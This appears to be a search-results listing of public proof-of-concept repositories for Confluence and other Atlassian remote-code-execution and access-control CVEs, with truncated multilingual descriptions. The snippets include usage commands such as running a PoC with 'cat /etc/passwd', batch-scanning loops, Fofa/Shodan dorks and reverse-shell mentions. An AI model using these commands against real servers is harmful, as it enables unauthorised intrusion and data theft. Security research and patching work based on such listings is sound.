3452 matches found
CVE-2026-21589
h3. Summary This is a vulnerability in Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center. Crowd Data Center, Crucible and Fisheye. This Arbitrary File Access vulnerability allows an unauthenticated attacker to access...
CVE-2022-26134
CVE-2022-26134 - OGNL 注入漏洞 本概念验证脚本利用影响 Atlassian Confluence 7.18 及更低版本产品的远程代码执行漏洞。该 OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本 所有受支持的 Confluence Server 和 Data Center 版本均受影响。 Confluence Server 和 Data Center 在 1.3.0 之后、7.18.1 之前的版本均受影响。 该漏洞的 CVSS 评分为 10 分（满分 10 分），严重性极高。...
CVE-2019-3396_EXP
CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、将 cmd.vm 放到你的网站上（必须使用 ftp 或 https，http 不起作用） 2、修改 RCEexp.py，将 filename 改为 'ftp://1.1.1.1/cmd.vm'（python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py http://test.wikitest.cc:8080 "id" uid=0root...
CVE-2023-22515-POC
CVE-2023-22515 CVE-2023-22515，一个影响Confluence Server和Confluence Data Center本地实例的严重漏洞，属于访问控制缺陷漏洞。Attlassian给出的CVSS基础评分为10.0。 利用 简要说明： 1- 由于Xwork拦截器解析参数的方式，/test.action?one=a 等同于 setOne='a'；而 /test.action?one.two=a 等同于 getOne.setTwo="a" 2-...
CVE-2022-26134
CVE-2022-26134 （CVE-2022-26134）一个未经身份验证的远程 OGNL 注入漏洞，可在 Confluence 服务器上下文中导致代码执行 要求：Python2 或 Python3 用法： python cve202226134.py -url targeturl -cmd "ls -al" python cve202226134.py -url targeturl -cmd "whoami" 如果目标是 Windows 系统，请按如下方式使用脚本，例如： python3 cve202226134.py -url targeturl -cmd "cmd /c...
CVE-2021-26084_Confluence
CVE-2021-26084Confluence Explotar CVE 2021 26084 Confluence dock0d1@arch$ python rce.py...
CVE-2023-22515
1vere$k CVE-2023-22515 iveresk-CVE-2023-22515 2023年10月4日，Atlassian 发布了关于 CVE-2023-22515 的安全公告，这是一个影响 Confluence Server 和 Confluence Data Center 本地实例的严重漏洞。 Atlassian 最初将此漏洞描述为权限提升漏洞，但后来已将其重新归类为访问控制失效漏洞。 此处是其源文章。 echo "----------------Welcome-to-cve-2023-22515-script-by-1veresk------------+"; echo...
CVE-2021-26084
CVE-2021-26084 CVE-2021-26084 Confluence 服务器远程代码执行漏洞。 Dork Fofa: app="ATLASSIAN-Confluence" 使用方法 显示帮助信息。 python PoC.py 对单个网站进行漏洞验证。 python PoC.py -u https://1.1.1.1 命令执行。 python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd' 批量测试。 python PoC.py -f urls.txt 参考...
CVE-2023-22515_RCE
Confluence获取后台权限后的一种rce方式 手动Getshell步骤 您可以在后台上传自定义的插件来实现rce 访问plugins/servlet/com.jsos.shell/ShellServlet...
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server
-CVE-2024-21683-Confluence数据中心和服务器中的远程代码执行漏洞 此漏洞允许未认证的攻击者在易受攻击的Confluence服务器上远程执行任意代码。该漏洞源于Confluence REST API对用户提供的输入验证不当，使得攻击者能够将恶意代码注入Confluence服务器并由服务器执行。 受影响版本 Confluence Data Center = 8.9.0 8.8.0 = Confluence Data Center = 8.8.1 8.7.1 = Confluence Data Center = 8.7.2 8.6.0 = Confluence Data...
CVE-2022-26134
CVE-2022-26134 Atlassian Confluence 远程代码执行漏洞（CVE-2022-26134） 使用方法：python CVE-2022-26134.py -u http://127.0.0.1 批量验证： python CVE-2022-26134.py -f xxx.txt复制url到txt...
Confluence-RCE
Usage: python3 mian.py 检测 命令执行 反弹shell 支持socks5和http代理 仅用于交流和学习...
CVE-2023-22515
CVE-2023-22515 Script de Explotación Versiones afectadas 8.0.0=Atlassian Confluence=8.5.1 Explotación de la vulnerabilidad python3 CVE-2023-22515.py -h usage: confluence.py -h -url URL argumentos opcionales: -h, --help muestra este mensaje de ayuda y sale -url URL url：http://xx.xx.xx.xx...
CVE-2022-26134
CVE-2022-26134 - Confluence OGNL injection vulnerability 脚本使用 安装python库 pip install -r requirements.txt 漏洞验证 python3 CVE-2022-26134check.py -u url -c whoami 批量扫描 python3 CVE-2022-26134check.py -f url.txt -c whoami 影响版本 Confluence Server and Data Center = 1.3.0 Confluence Server and Data Center...
cve-2019-3396
Confluence unauthorize template injection CVE-2019-3396 I 构建 此漏洞影响以下版本： 所有 1.x.x、2.x.x、3.x.x、4.x.x 和 5.x.x 版本 所有 6.0.x、6.1.x、6.2.x、6.3.x、6.4.x 和 6.5.x 版本 所有 6.6.12 之前的 6.6.x 版本 所有 6.7.x、6.8.x、6.9.x、6.10.x 和 6.11.x 版本 所有 6.12.3 之前的 6.12.x 版本 所有 6.13.3 之前的 6.13.x 版本 所有 6.14.2 之前的 6.14.x 版本 下载源码后，你需...
Confluence-CVE-2022-26134
Confluence-CVE-2022-26134 dork 和 shodan https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2 Curl 漏洞验证命令 curl -v...
cve-2019-3398
cve-2019-3398 详情 一个用Python编写的针对CVE-2019-3398 Confluence漏洞的快速概念验证脚本。 受影响的Confluence版本为6.12.3、6.13.3、6.14.2和6.15.1。 该漏洞利用需要有效的凭据。 使用 编辑osusername和ospassword字段，并且根据目标服务器的情况可能需要修改filename路径。如果路径设置正确，shell.jsp将可以在Web服务器的根目录访问到。...
CVE-2021-26084
CVE-2021-26084 Atlassian Confluence CVE-2021-26084 一键批量检测工具 cat confluenceservers.txt | while read host do; do curl --connect-timeout 10 --max-time 60 --path-as-is --silent --insecure --user-agent "Mozilla/5.1 Windows NT 6.1; Win64; x64; rv:59.0 Gecko/20100101 Firefox/59.0"...
CVE-2023-22518
CVE-2023-22518 Confluence Data Center 和 Server 中的权限分配不当漏洞。 Atlassian 已警告管理员关于 Confluence 中严重漏洞。利用此漏洞可能导致数据丢失，因此开发者建议您立即安装补丁。 请注意，该漏洞无法用于泄露数据，并且不会影响通过 atlassian.net 域名访问的 Atlassian Cloud 站点。 漏洞详情 Atlassian Jira 页面 产品| 受影响版本| 已修复版本 ---|---|--- Confluence Data Center| 所有版本均受影响| 7.19.16 及以上 Confluenc...